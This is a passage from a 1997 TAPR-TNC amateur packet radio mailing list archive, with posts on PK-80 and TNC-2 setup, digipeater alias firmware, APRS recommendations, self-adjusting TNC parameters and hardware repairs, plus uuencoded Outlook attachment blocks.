M,!\2+@J%"H\=/"A'=WD#H%()X&1Y@"P@5S%"14PE):90`- (4&UM*()K$@!5
M!_!A(=!O%\5S)+QGM2<A0"508P6@*. N*[$%)25H`D!P.B\O=WTM$"XKCR6/
M'98DOPLA; QI,1Z `M%I+3$TGC0-\ S0,=,+63$V+B#K`V 8`&,%0"TS]RX'
M,JOK## S=D8#83HT_C-V#((G*($'@ M@($H%T&EK`&]S6U--5% Z0R>0`'!N
M86A (O!N^F\K\ETTGS6M!F ",#;?1S?K'A (<'-D82>A2CT`<'4*P!]@,T G
ML#$Y@#DW(#4Z,SD3T.9-.P\UK51O/4\WZP&001.0+71N8T!%0BZ-!;!G04\\
M'G5B:C.Q*T-O-^M;'Z(M'_$Z,BU H%TG44C 2#C@<"#M(C%H'D$SX" >@"__
```

```
M,0.\,S8R=Q2"# $S=DD$(.],0 20'C `<'D"(!XP"&#O!4!0%$Q (2 @'R #
MH!X@7TOQ!X!,%!^ 3'4@'^(_]2! 22X%< AP$;$1\"+0_5 1(#J (D ?<%6!
M+) XP)YF!Y!5@2+!51)O=U"P?P7 &,!60A] 5&!%4 20=_T%L&L@D AQ'# N
M!1^ !&!T=F53T2!0L%3B*<!GURE151(1\75,`"]0T",A_R$C!" #@3_P`R "
M$ 7 51+O3'4@0$SL6=AK.I 'X". _P?@6D$1\54#"X 8``2@7&'3(O96=F5X
M8(4X,^!4!L\Y<") (4(AT' M(B11=/\>L01@.H 8`"+0(5%5$A[@[RDP)[!9
MT = <RG 7JXN!=]:00/P45,>, M0=2(`7);_6Z IH2!#4$)00F9B3$ )T7]C
MHB(0(+ I04_R(2 L-F'[69!HPRT+@%(!*9 C,E&#-VS3'X KL6(+@"$D;V;_
M(7$`D!?P!; BE!\@+5$B0/]P,2X%960KX$SL6<%8,".B_QDP'S,Q,"E 6C@>
ML5536W?_7&$>\%G!;G59D$ 0+@4Q,+YM(D!4X3C 9/)ODF8Z@/YD(I%TQ2$P
M!X GL%9V5';_;Y(?@%"P!^!54P0`<590\?MOH542<0I0%_ A05FR4=+_6G95
M4UI!*[%5,4P`964KL?]4<&"!(A %``GA3!15$@(03Q] 5O AX@>!<V%:<#I1
M3.Q!9'8`<&-4X46N;#.Q`V #`&,3T' +4)\?$5O#9A%%H(-614%2]W\I%0A0
M`C #8!] !)"#5ECB+AM@($QE69 #(!(@_E8C,2%"(# *=B=@A&!ZXAPQ+HM
M$B"+DC$R+]$<8"\X-2X%0QX@*3#"<R#0("0P,DSL7A?_<U1%4!.0!9 ',!@`
M4&)2!-\A41'Q(3 A\73D<">P51+_7"5S5(3!=%)L:B*R9G&/!=^ L7(!(2&$
MX"*R<!\0<"$C!S%\QE!#0G(^0E3^5Y'$$?"60S_@!M!7(65EX7NU(#,W,UFR
M`_%D0?]JX@!P6&!0=6PI4==M<2F0_X/C7(914@=Q<&1;X2016Z3_G8)TXY51
M8($DK2X&.'*BGZ\XB#E#HA^EKC,2(% #8'9S(R \TG0DIJ6_J,932R,@A %R
M)[!-82! ,+@Q-382($R@&V W3-V_3.]-_AUH,V<N!1A1`+! `P`0$ `````#
M`!$0`````$ `!S#@$"I7Y0.\`4 `"##@$"I7Y0.\`1X`/0`!````!0```%)%
0.B ``````P`--/TW``#7.0.\
`
end
```

7. Re: [TAPR-TNC:297] Re: Help with PK - 80

From: Bob Nielsen <nielsen@primenet.com>
Date: Thu, 16 Jan 1997 14:42:24 -0700 (MST)
To: Pamela J Mikos <dyannah@juno.com>
Cc: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.95.970116143715.722A-100000@nielsen.tus.primenet.com>
Rendered body type: text/plain

The documentation at ftp.tapr.org in /tapr/software_lib/tncdocs.exe
(self-extracting ms-dos file) should be very close to the PK-80 (no
figures, sorry). You may want to upgrade your firmware to a newer
version along with upgrading the RAM from 16K to 32K. TAPR, MFJ and
PacComm eproms will work (newer versions require 32K and some for the
latest MFJ TNCs may or may not work for you.)

Bob

Bob Nielsen   Internet: nielsen@primenet.com
Tucson, AZ   AMPRnet: w6swe@w6swe.ampr.org
                           AX.25:   w6swe@wb7tls.az.usa.noam
                           http://www.primenet.com/~nielsen

8. Re: [TAPR-TNC:297] Re: Help with PK - 80

From: "jeff smith" <jsmith@theworks.com>
Date: Thu, 16 Jan 97 14:54:47 -0700 (PST)
To: tapr-tnc@tapr.org
Message-ID: <MAPI.Id.0016.00736d69746820203030303630303036@MAPI.to.RFC822>
Rendered body type: text/plain

```
----------
>
> Is there anyone out there that can help me with a PK - 80  TNC?. I
> purchased the unit at a hamfest and the owner lost all paperwork during
> a move. I need to get the setup / operations manual for the PK - 80.
>
> I need to know how to set the internal jumpers and the external 8 -
> position dip-switch that is mounted on the back, I also need to know how
> to wire the plug for the radio. There are also three dip sockets that
> have plug-in headers that have a combination of resistors and capacitors
> on them.
>
>  I would really like to get this unit operational as I have a very
> limited amount of funds at this time, and the purchase of a new unit is
> out of the question. I can get the unit to come up on the computer screen
with
> the following message:
>
> Advanced Electronic Applications, Inc
> AEA PK - 80 Packet Controller
> AX.25 Level 2 Version 2.0
> Release 1.1.2     12/03/85
> Checksum $02
>
```

>
> I would appreciate any help on setting this up, the manual would nice to
> have and so would a schematic and pictorial of the PCB.
>
> BTW, the serial number on the unit is 373. I wish to thank anyone that
> can help in advance for there time and consideration in this matter.
>
>
>   Pamela Mikos
>   32 Prospect St.
>   Spencer, Ma. 01562 - 2570
>

There is a reply to download the docs from tapr-tnc file FTP site. Just for
your info, the switch
settings are as follows: from left to right
300, 1200,2400,4800,9600,300,1200,9600
  1   2   3   4   5   6   7   8

the frist 5 are the baud rate to talk to the tnc (serial rate to PC), the
next three are radio baud rate.
the radio speed is typically 1200 baud for VHF, and 300 baud fo HF
(although HF takes a modem filter change)

Typical settings switch 2 and switch 7 ON, all others off. BE SURE you dont
have more than one serial or radio switch on
at one time. By the way, I do have a pk80 here, and its the clone of a
tapr2 rev 2 in a different paint scheme.

February 1997

Original source file: tapr-tnc.9702
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9702

1. Periodic announcement

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Sat, 1 Feb 1997 00:00:02 -0500
To: tapr-tnc@tapr.org
Message-ID: <199702010500.AAA02547@penny.n2wx.ampr.org>
Rendered body type: text/plain

```
Welcome to the Tucson Amateur Packet Radio TAPR-TNC SIG
               ----------------------------------------

This message will be posted on the first of each month.
Last updated: 1 June 96
Last sent: 1 Jan 97

ADMINISTRIVIA
*************

To Unsubscribe:
---------------
To leave the TAPR-TNC SIG, please send a message to

     listproc@tapr.org

with a blank subject.  In the body of your message, write

     SIGNOFF TAPR-TNC


For help with the listproc
--------------------------
The list processor TAPR runs has many interesting features.  Please check
them out at your leisure.  To find out how to access them, send a message
to

    listproc@tapr.org

with a blank subject.  In the message body write

    HELP


Posting rejected?
-----------------
This mailing list accepts postings only from subscribers.  If a post is
ever rejected please contact <n2wx@tapr.org> directly; your system
administrator probably changed an element of your email address and the
listproc's records will need to be updated to enable posting.


Problems with your internet provider?
-------------------------------------

To conserve TAPR server resources, unrecoverable mail errors (in my
experience, typically caused by someone hosing the provider's nameserver
or by weird internet mail gateways like cc-mail or MSMAIL) will result in
your subscription being set to POSTPONE.  This should be extremely
unlikely but if it happens, DO NOT PANIC:  Simply send a message to
LISTPROC@TAPR.ORG and in the body of the message write

SET TAPR-TNC MAIL ACK

to resume receiving the TAPR-TNC mailing list

If at any time you suspect you may be in a POSTPONEd state, feel
free to send the above SET message to remind the server about
your ability to receive mail.

************************
  Statement of Purpose
************************

This SIG is intended to be a low volume, high s/n place to discuss issues
related to use of the TAPR (and clone) TNCs.  It is not moderated. Please
```

try remain on topic and use discretion to help keep up the s/n ratio.

The following subjects with respect to TNC-1 and TNC-2 and their clones
are "on topic":

 o - Hardware bugs, problems, mods
 o - Firmware bugs, problems, patches
 o - TAPR documentation
 o - Interface issues
 o - Announcements of the above
 o - Suggestions for enhancements
 o - and anything else reasonably resembling the above
 x - but note that binary postings are never allowed

Although packet radio novices are invited to join, this is probably the
wrong place to post new user questions. Faster and more complete replies
to new user questions are more likely to be found in one of the many
newsgroups in the USENET rec.radio.amateur.* hierarchy, particularly in
the rec.radio.amateur.digital.misc newsgroup.

This is also the wrong place to debate the merits of various manufacturer
offerings or to elicit suggestions about "Which TNC should I purchase?"

At times, you may find your post is relevant to one of the other fine TAPR
SIGs as well as this one. Initial crossposting is not necessarily a bad
idea. Use your judgment.

Spirited, lively discussion is invited but flames will be promptly
extinguished. The list owner reserves the right to deal with flames and
off-topic posts from a stance gauranteed to lie somewhere between complete
arbitrariness and Solomonesque. Hopefully more of the latter than the
former.

Other resources

TAPR maintains both file archives and a World Wide Web server that may
contain answers to questions you have...and maybe some you have but didn't
realize you had. You can access these resources with:

   ftp to ftp.tapr.org   /tapr/...

   WWW to http://www.tapr.org/tapr/
                          and
           http://www.tapr.org/tapr/html/pkthome.html

73 Howie N2WX

2. Fw: [APRSSIG:9437] Re: Subject: Gating HF to VHF

From: "wa6ylb" <wa6ylb@theworks.com>
Date: Tue, 04 Feb 97 20:07:42 PST
To: tapr-tnc@tapr.org
Message-ID: <MAPI.Id.0016.006136796c6220203030303630303036@MAPI.to.RFC822>
Rendered body type: text/plain

Wonder what the chances of having the tnc-2 software include this multi
alias modes in
the tnc's? would be helpful in putting up aprs digi's.
Byron

Byron Smith
wa6ylb@theworks.com
wa6ylb@wa6ylb.#cca.ca.usa.noam

   ...What was the best thing BEFORE sliced bread?

> Date: Tuesday, February 04, 1997 03:52:31
> From: Gwyn Reedy
> To: aprssig
> Subject: [APRSSIG:9437] Re: Subject: Gating HF to VHF
>
> What Dan describes is now a feature in PacComm TNC code. It is in the

code
> for products other than the Pico too. I think it has been being shipped
for
> several months, but am not sure when it first began shipping. It is one
of
> the features from our 'Bosnia Project' which has been moved into the
> amateur code. Was going to make an announcement, etc. but it 'slipped
out'
> ahead of schedule due to a mixup in managing the source files.
>
> It works just as Dan described. The code supports four alias callsigns
> (MYAlias, MY1alias, MY2alias, MY3alias). Whenever a frame is addressed
for
> repeating by any of those aliases, the TNC replaces the alias callsign
with
> MYCALL when the frame is repeated. It also sets the 'has been repeated'
bit
> so everything works just fine. If the receiving station uses the path of
> the received frame to send a response back to the originator (i.e. a
> connected frame), all works fine since the PacComm TNC will see its
MYCALL
> in the path and respond accordingly.
>
> We have discussed adding a command something like CALLSUB ON|OFF to
enable
> or disable this function, but I don't think that is part of the release.
>
> Gwyn Reedy, W1BEL
> PacComm Packet Radio Systems
>
> gwyn@paccomm.com
> http://www.paccomm.com
>
>
> ----------
> From: Daniel Velez[SMTP:djv@gte.net]
> Sent: Monday, February 03, 1997 1:38 PM
> To: aprssig@tapr.org
> Subject: [APRSSIG:9424] Re: Subject: Gating HF to VHF
>
> Someone wrote:
> >
> > I am noting more and more messages about the "HF to VHF gating"
> > procedure..except not one seems to be pointing to away to ID the
> > gating station. All the tnc's give us is "GATE" in the unproto
>
> Check THIS out. My PicoPacket in the Jeep does something to the packets
> it digipeats! When a packet addressed to:
>
> APRS VIA RELAY,WIDE
>
> is digipeated by my station in the Jeep (a RELAY), it changes RELAY to
> N4WZR-12 and sends out the packet like this:
>
> APRS VIA N4WZR-12*,WIDE
>
> Anyone else noticed this???
> --
> ~~~~~~
> Daniel Velez   N4WZR
> djv@gte.net   http://home1.gte.net/djv/index.htm
> ~~~~~~
>
>
>
>
[Attachment: WINMAIL.DAT; application/octet-stream; 2,652 bytes]

3. RE: [TAPR-TNC:302] Fw: [APRSSIG:9437] Re: Subject: Gating HF to VHF

From: Gwyn Reedy <gwyn@paccomm.com>
Date: Thu, 6 Feb 1997 06:17:51 -0500
To: "'tapr-tnc@tapr.org'" <tapr-tnc@tapr.org>
Cc: "'APRSSIG'" <aprssig@tapr.org>
Message-ID: <01BC13F5.806D6720@gwyn>
Rendered body type: text/plain

PacComm provides 100% TNC-2 compatible code (if you select the correct
product). Our TNC-200 (which is a 100% TNC-2 except for the name), TINY-2,
and SPIRIT-2 all have 100% TNC-2 EPROM compatibility. That is the meaning

of the -2 in the name. The TNC-200 EPROM, for instance will operate in any
other TNC-2 look-alike, such as the MFJ-1270, 1274, TNC2C etc.

So any device than can make use of the TAPR EPROM you ask for is already
supported.

If you are using Brand A or Brand K, we can't help you, but neither can a
TAPR EPROM in that case.

Gwyn Reedy, W1BEL
PacComm Packet Radio Systems

gwyn@paccomm.com
http://www.paccomm.com

From: wa6ylb[SMTP:wa6ylb@theworks.com]
Sent: Wednesday, February 05, 1997 10:13 AM
To: tapr-tnc@tapr.org
Subject: [TAPR-TNC:302] Fw: [APRSSIG:9437] Re: Subject: Gating HF to VHF

Wonder what the chances of having the tnc-2 software include this multi
alias modes in
the tnc's? would be helpful in putting up aprs digi's.
Byron

Byron Smith
wa6ylb@theworks.com
wa6ylb@wa6ylb.#cca.ca.usa.noam

...What was the best thing BEFORE sliced bread?

> Date: Tuesday, February 04, 1997 03:52:31
> From: Gwyn Reedy
> To: aprssig
> Subject: [APRSSIG:9437] Re: Subject: Gating HF to VHF
>
The code supports four alias callsigns
> (MYAlias, MY1alias, MY2alias, MY3alias). Whenever a frame is addressed
for
> repeating by any of those aliases, the TNC replaces the alias callsign
with
> MYCALL when the frame is repeated. It also sets the 'has been repeated'
bit
> so everything works just fine. If the receiving station uses the path of
> the received frame to send a response back to the originator (i.e. a
> connected frame), all works fine since the PacComm TNC will see its
MYCALL
> in the path and respond accordingly.


```
begin 600 WINMAIL.DAT
M>)\^(@`+`0:0" `$`````!``$``0>0!@`(````Y 0```````#H``$(@ <`
M& ```$E032Y-:6-R;W-O9G0@36%I;"Y.;W1E`#$(`0V ! `"`````@`"``$$
MD 8`- (```(````,`````P``, ,````+``\.``````(!_P\!````00``````
M``"!*Q^DOJ,0&9UN`-T!#U0"`````'1A<'(M=&YC0'1A<'(N;W)G`%--5% `
M=&%P<BUT;F- =&%P<BYO<F<`````'@`", $````%````4TU44 `````>``,P
M`0```!(```!T87!R+71N8T!T87!R+F]R9P````,`%0P!`````P#^#P8````>
M``$P`0```!0````G=&%P<BUT;F- =&%P<BYO<F<G``(!"S !````%P```%--
M5% Z5$%04BU43D- 5$%04BY/4D<```,``#D`````"P! .@$````"`?8/`0``
M``0````````## ````,``# $````"P`/#@$````"`?\/`0```&(`````````
MM3O"P"QW$!JAO @`*RI6PA4```!O."'RI*C/$8#1`$ %*;S7!)H`````````"!
M*Q^DOJ,0&9UN`-T!#U0"`````$%04E-324<`4TU44 !A<')S<VEG0'1A<'(N
M;W)G````'@`", $````%````4TU44 `````>``,P`0```!$```!A<')S<VEG
M0'1A<'(N;W)G``````,`%0P"`````P#^#P8````>``$P`0````H````G05!2
M4U-)1R<````"``0LP`0```!8```!33510.D%04E-324= 5$%04BY/4D<````#
M```Y``````L`0#H``````@'V#P$````$````````!)IB`02 `0!$````4D4Z
M(%M405!2+51.0SHS,#)=($9W.B!;05!24U-)1SHY-#,W72!293H@4W5B:F5C
M=#H@1V%T:6YG($A&('1O(%9(1@!$$P$%@ ,`#@```,T``@`&``8`$0`S``0`
M*@$!(( #``X```#-!P(`!@`&``L`. `$`"D!`0F `0`A````-C R-C(W.30V
M,S=%1# Q,3A%030P,#0P,#4R1D9%-4$`\P8!`Y &`*@`````4````"P`C````
M```#`"8```````L`*0```````P`N```````#`#8``````$ `.0#@V4ID'Q2\
M`1X`< `!````1 ```%)%.B!;5$%04BU43D,Z,S R72!&=SH@6T%04E-324<Z
```

```
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
MI.,EDJ?$IX%&P0L@*?'^;"C ?89J#TV7&\AL#A:Q`@"V4 ````,`$! ``````
M`P`1$ $```! ``<P8.AHD!X4O % ``@P8.AHD!X4O $>`#T``0````4```!2
113H@``````,`#33]-P``PFP4
`
end
```

4. Do TAPR EPROMs have these features?

```
From: Larry Keeran <lmkeeran@rs6000.cmp.ilstu.edu>
Date: Wed, 19 Feb 1997 16:20:45 -0600
To: tapr-tnc@tapr.org
Message-ID: <v03007812af312c1b6ed6@[138.87.2.109]>
Rendered body type: text/plain
```

Do TAPR TNC EPROMS have these features that Bob was talking about?

on Wed, 19 Feb 1997: Bob Bruninga said:

```
>DIGI RECOMMENDATIONS!
>
>1)  Set TXD as short as reasonable.  Dont just accept the default of 33!
>    If you find a particularly low value works, tell us what value and
>    what kind of radio you are using...
>
>2)  If it is a WIDE-RELAY, then change the "/" between the LAT/LONG to "\"
>    (you can omit the words WIDE-RELAY from the text too for brevity..)
>
>3)  Consider using a PacComm or other TAPR-2 clone so you get the latest
>    APRS digipeater features:
>
>    a) WIDE-REPLACEMENT firmware.  These digi's will insert their OWN MYCall
>    in place of WIDE when they digipeat so that you can see where packets
>    are comming from.  They may also NEVER digipeat that packet again,
>    meaning that DUPES will be significantly reduced... on WIDE,WIDE,WIDE
>    paths.  If we get a PacComm TNC as at least at every 2nd site, then
>    we might be able to begin using WIDE,WIDE,WIDE,WIDE!  withoug dupes!
>
>    b) These digis respond to ?APRS? queries so they can be set with a
>    period of 30 minutes, yet still be seen on demand
>
```

```
>    C)  NO, they dont have remote SYSOP capability yet, but its comming!
>
>Keith and I are making changes to accomodate the larger numbers of users.
>All of these small steps add up!
>
>See  APRS  LIVE:   http://web.usna.navy.mil/~bruninga/aprs.html
>GPS on ANY radio:  http://www.tapr.org/tapr/html/mic-e.html
>

/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
Larry M. Keeran K9ORP - IS DP Tech - NWS ILX APRS Coord  k9orp@tapr.org
EC McLean Co-CIPRUS,Inc-VP QCWA-Life ARRL-APRS-MacAPRS-WinAPRS-TAPR#762
\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
```

5. [TAPR-TNC:304] Do TAPR EPROMs have these features?

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Wed, 19 Feb 1997 18:09:07 -0500
To: tapr-tnc@tapr.org
Message-ID: <199702192309.SAA05086@penny.n2wx.ampr.org>
Rendered body type: text/plain

```
Larry Keeran writes:
 > Do TAPR TNC EPROMS have these features that Bob was talking about?

No
```

6. Dynamically self adjust Tnc Parameters

From: "(SV2AGW) Rossopoulos George" <sv2agw@the.forthnet.gr>
Date: Thu, 20 Feb 1997 19:51:04 +0200
To: <tapr-tnc@tapr.org>
Message-ID: <199702201755.TAA07856@info.forthnet.gr>
Rendered body type: text/plain

```
I develope a new version of AGW Packet Engine with dynamically selfadjust
tnc parameters.
If you don't know about Packet engine it is a WIN95 (32bit) packet program
with other 4 packet applications i wrote. You can find more info in my
site.
Packet engine needs KISS eproms.

The new version does the follow.
selfadjust Persist,slottime,retries,Frack,Resptime depending upon channel
trafic.
Autodetects the on air baudrate.
Selfadjust Maxframe up or down depending on Link quality.
Will selfadjust also paclen depending on Link quality.

That way there is no need from the user to set those parameters. Of course
for the power user there is the possibility to control the selfadjust
algorithm from the ini file.
Now how the algorithm works.
First watches the channel activity. If the channel is empty for 2 minutes
it has level 8 if the channel for 2 minutes has its full data capacity then
it gives level 1.All the other occasions vary from 1 to 8.
According to channel level then adjust the persist ,slottime,retries and
maxframe.
If the channel is empty uses optimal parameters.

When it sends data (file transfer) then does the follow.
Starts with the channel level parameters and then
1) if received a rej then maxframe becomes lower
2) if for 5 maxframes tx, will not receive a rej then raises maxframe .
3) self adjusts Frack depending of how much data sends.
meanwhile because the traffic raises (because we tx) selfadjusts persist
and slottime to leave time also for others.

In receiving it only selfadjusts Resptime depending of maxframe received.Of
course because the traffic is high adjusts also persist and slottime.

The program also autodetects the onair baudrate.

The first tests are very good and are done with 1200 onair baudrate.I
continue now with tests in 9600.
Hope to download the new version in my site during this weekend.
Meanwhile if anyone has a good idea... I need it!!

73
SV2AGW
```

Rossopoulos George
e-mail:sv2agw@the.forthnet.gr
packet:SV2AGW@SV2DXC.TSL.GRC.EU
www:http://www.forthnet.gr/sv2agw/

7. DCD help

From: Fred Kehler <clearbrook_technical@mindlink.bc.ca>
Date: Thu, 27 Feb 1997 10:39:12 -0800
To: tapr-tnc@tapr.org
Message-ID: <199702271839.KAA17729@linux.clrtech.com.>
Rendered body type: text/plain

Hi, we are trying to improve the performance of our local 1200 baud packet
rprt. It has been running as an straight audio rptr, with keying on
received signal level. We decided to add the tapr DCD board to remove the
false keying we were getting.....
It appears to be doing strange things, ie keys the xmitter when there is
unmodulated carrier received, it does appear to do its job with detecting
valid packets and keying up. the problem can be demostrated by having a
steady state condition on the nrzi line into the DCD module, either a logic
high or low will cause the xmit to key...
ascii graphic

```
DETECTED AUDIO ---->| TM3105 MODEM|--.-------->| TM3105 MODEM|----->TO XMITTER
                                     |
                                     |
                                     |
                                     \/
                                TAPR DCD MODULE -------------------XMIT KEY
```

I hope i have explained the configuration sufficiently,
any help would be appreciated...

Fred Kehler (ve7ipb)
Clearbrook Technical Services Ltd.   clearbrook_technical@mindlink.bc.ca.

8. (no subject)

From: clearbrook_technical@mindlink.bc.ca
Date: Thu, 27 Feb 1997 10:37:25 -0800
Message-ID: <199702271837.KAA17714@linux.clrtech.com.>
Rendered body type: text/plain

[Empty message body]

9. TNC2 Help

From: wa3z@juno.com (John D Hartman)
Date: Thu, 27 Feb 1997 18:20:13 EST
To: tapr-tnc@tapr.org
Message-ID: <19970227.181622.3462.0.wa3z@juno.com>
Rendered body type: text/plain

Hi, I have a TAPR TNC2 that I picked up at a hamfest. I am
trying to fix, but I don't have a schematic. I know that L3 is
bad. It is in such bad shape I can not read the value. If
anyone knows the value of this part, please E-mail me at
wa3z@juno.com. Thank you. 73, John

10. Re: [TAPR-TNC:309] TNC2 Help

From: Clifford Buttschardt <cbuttsch@slonet.org>
Date: Thu, 27 Feb 1997 18:03:11 -0800 (PST)
To: John D Hartman <wa3z@juno.com>
Cc: tapr-tnc@tapr.org
Message-ID: <Pine.GSO.3.95.970227175947.21968F-100000@oso.slonet.org>
Rendered body type: text/plain

John, I am quite sure that L3 is a small ten microhenry inductor about the
size of a one watt resistor. It probably burned up because one of the
chips following the inductor shorted. Put your ohmeter on both sides of
the burned up inductor. Probably one side will show a short to ground.
Experiment by removing capacitors or chips until you are sure that there
are no further shorts and then replace the inductor with any ten
microhenry choke. A one watt resistor full of numnber 30 wire will do
just about as well. Cliff Buttschardt K7RR ex W6HDO

On Thu, 27 Feb 1997, John D Hartman wrote:

> Hi, I have a TAPR TNC2 that I picked up at a hamfest. I am

> trying to fix, but I don't have a schematic. I know that L3 is
> bad. It is in such bad shape I can not read the value. If
> anyone knows the value of this part, please E-mail me at
> wa3z@juno.com. Thank you. 73, John
>
>

March 1997

Original source file: tapr-tnc.9703
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9703

1. Periodic announcement

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Sat, 1 Mar 1997 00:00:03 -0500
To: tapr-tnc@tapr.org
Message-ID: <199703010500.AAA05237@penny.n2wx.ampr.org>
Rendered body type: text/plain

```
Welcome to the Tucson Amateur Packet Radio TAPR-TNC SIG
               ----------------------------------------

This message will be posted on the first of each month.
Last updated: 1 June 96
Last sent: 1 Feb 97

ADMINISTRIVIA
*************

To Unsubscribe:
---------------
To leave the TAPR-TNC SIG, please send a message to

     listproc@tapr.org

with a blank subject.  In the body of your message, write

     SIGNOFF TAPR-TNC


For help with the listproc
--------------------------
The list processor TAPR runs has many interesting features.  Please check
them out at your leisure.  To find out how to access them, send a message
to

    listproc@tapr.org

with a blank subject.  In the message body write

    HELP


Posting rejected?
-----------------
This mailing list accepts postings only from subscribers.  If a post is
ever rejected please contact <n2wx@tapr.org> directly; your system
administrator probably changed an element of your email address and the
listproc's records will need to be updated to enable posting.


Problems with your internet provider?
-------------------------------------

To conserve TAPR server resources, unrecoverable mail errors (in my
experience, typically caused by someone hosing the provider's nameserver
or by weird internet mail gateways like cc-mail or MSMAIL) will result in
your subscription being set to POSTPONE.  This should be extremely
unlikely but if it happens, DO NOT PANIC:  Simply send a message to
LISTPROC@TAPR.ORG and in the body of the message write

SET TAPR-TNC MAIL ACK

to resume receiving the TAPR-TNC mailing list

If at any time you suspect you may be in a POSTPONEd state, feel
free to send the above SET message to remind the server about
your ability to receive mail.

************************
  Statement of Purpose
************************

This SIG is intended to be a low volume, high s/n place to discuss issues
related to use of the TAPR (and clone) TNCs.  It is not moderated. Please
```

try remain on topic and use discretion to help keep up the s/n ratio.

The following subjects with respect to TNC-1 and TNC-2 and their clones
are "on topic":

 o - Hardware bugs, problems, mods
 o - Firmware bugs, problems, patches
 o - TAPR documentation
 o - Interface issues
 o - Announcements of the above
 o - Suggestions for enhancements
 o - and anything else reasonably resembling the above
 x - but note that binary postings are never allowed

Although packet radio novices are invited to join, this is probably the
wrong place to post new user questions. Faster and more complete replies
to new user questions are more likely to be found in one of the many
newsgroups in the USENET rec.radio.amateur.* hierarchy, particularly in
the rec.radio.amateur.digital.misc newsgroup.

This is also the wrong place to debate the merits of various manufacturer
offerings or to elicit suggestions about "Which TNC should I purchase?"

At times, you may find your post is relevant to one of the other fine TAPR
